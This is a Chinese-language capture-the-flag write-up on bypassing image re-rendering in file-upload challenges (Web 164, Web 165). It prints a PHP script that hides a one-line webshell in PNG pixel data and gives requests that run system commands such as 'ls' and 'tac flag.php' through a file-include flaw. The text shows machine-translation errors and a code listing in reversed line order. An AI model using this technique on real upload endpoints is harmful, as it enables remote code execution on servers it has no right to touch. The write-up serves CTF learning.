1. 二次渲染简介
二次渲染指的是上传的文件(如图片),为了显示的更加规范(尺寸、像素),网站会对文件进行二次处理,经过解码或转换可能导致其中的恶意代码失效。例如,后门程序在图像渲染过程中可能被扫除或无法实行。
2. 二次渲染存在性判断
2.1 文件大小变化
访问上传的文件地点,重新下载下来,查看文件大小是否发生改变
2.2 图片数据包
将上传图片的发送包和访问文件地点的返回包发到burpsuite的compare模块,查看是否存在差别
3. png绕过二次渲染——Web 164
3.1 题目分析
尝试上传一张正常的图片,下载上传后的文件查看,发现本题对图片进行了二次渲染,写入的php代码轻易损坏。
随意写入一些内容,上传失败显示文件范例不合规。本题在在文件上传时进行了CRC(循环冗余校验)以确保文件未被窜改。我们在PNG文件中添加了文字,导致文件布局被破坏,从而无法通过校验。因此我们插入php代码后,必须重新计算相应的crc值并修改才能通过校验
3.2 天生后门图片
因此推荐使用以下脚本直接直接对图片插入后门代码:- <?php
- $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
- 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
- 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
- 0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
- 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
- 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
- 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
- 0x66, 0x44, 0x50, 0x33);
-
-
-
- $img = imagecreatetruecolor(32, 32);
-
- for ($y = 0; $y < sizeof($p); $y += 3) {
- $r = $p[$y];
- $g = $p[$y+1];
- $b = $p[$y+2];
- $color = imagecolorallocate($img, $r, $g, $b);
- imagesetpixel($img, round($y / 3), 0, $color);
- }
- imagepng($img,'1.png'); //要修改的图片的路径
-
- /* 木马内容
- <?$_GET[0]($_POST[1]);?>
- */
- //imagepng($img,'1.png'); 要修改的图片的路径,1.png是使用的文件,可以不存在
- //会在目录下自动创建一个1.png图片
- //图片脚本内容:$_GET[0]($_POST[1]);
- //使用方法:例子:查看图片,get传入0=system;post传入tac flag.php
- ?>
复制代码 使用方法:
设置php环境变量,在该脚本文件夹下实行以下cmd命令然后就会在当前文件夹天生一个1.png,包含的木马内容如下- [/code][size=5]3.3 后门代码利用[/size]
- 访问图片地点,利用如下的恶意代码将想要的内容输出到1.txt
- [code]https://xxx/download.php?image=xxxxx&0=system
- post:
- 1=ls > 1.txt
- 1=tac flag.php >1.txt
复制代码 访问https://xxx/1.txt,得到以下内容
3.4 为什么图片解析php
在本题中,我通过向图片传php恶意代码,竟然成功实行了,这是为什么呢?
我们tac一下download.php来看一下- } echo "图片错误";
- }else{
- include("./upload/".strrev($file));
- header('Content-Type:image/png');
- if($ext==='.png' && file_exists("./upload/".strrev($file))){
- $ext = strrev(substr($file, 0,4));
- $file = strrev($file);
- $file= $_GET['image'];
复制代码 代码的逻辑总结:
- 从 URL 获取文件名:通过 $_GET['image'] 获取传递的文件名。
- 处理文件名:通过 strrev() 反转文件名来获取实际的文件,并通过 substr() 获取文件的扩展名。
- 检查文件是否存在且为 PNG 格式:判断扩展名是否为 .png,以及文件是否存在于 ./upload/ 目次。
- 输出图片文件:假如条件满足,包含并输出这个文件,并将响应头设为 image/png 以显示 PNG 图片。
这下明白了,本题查看图片的功能是通过文件包含的形式实现的,传入图片的代码被包含到了download.php,从而成功被实行
4. jpg绕过二次渲染——Web 165
4.1 天生后门图片
利用以下脚本天生,需要留意的是:是先上传原图,把二次渲染后的图片进行脚本加工
[code] |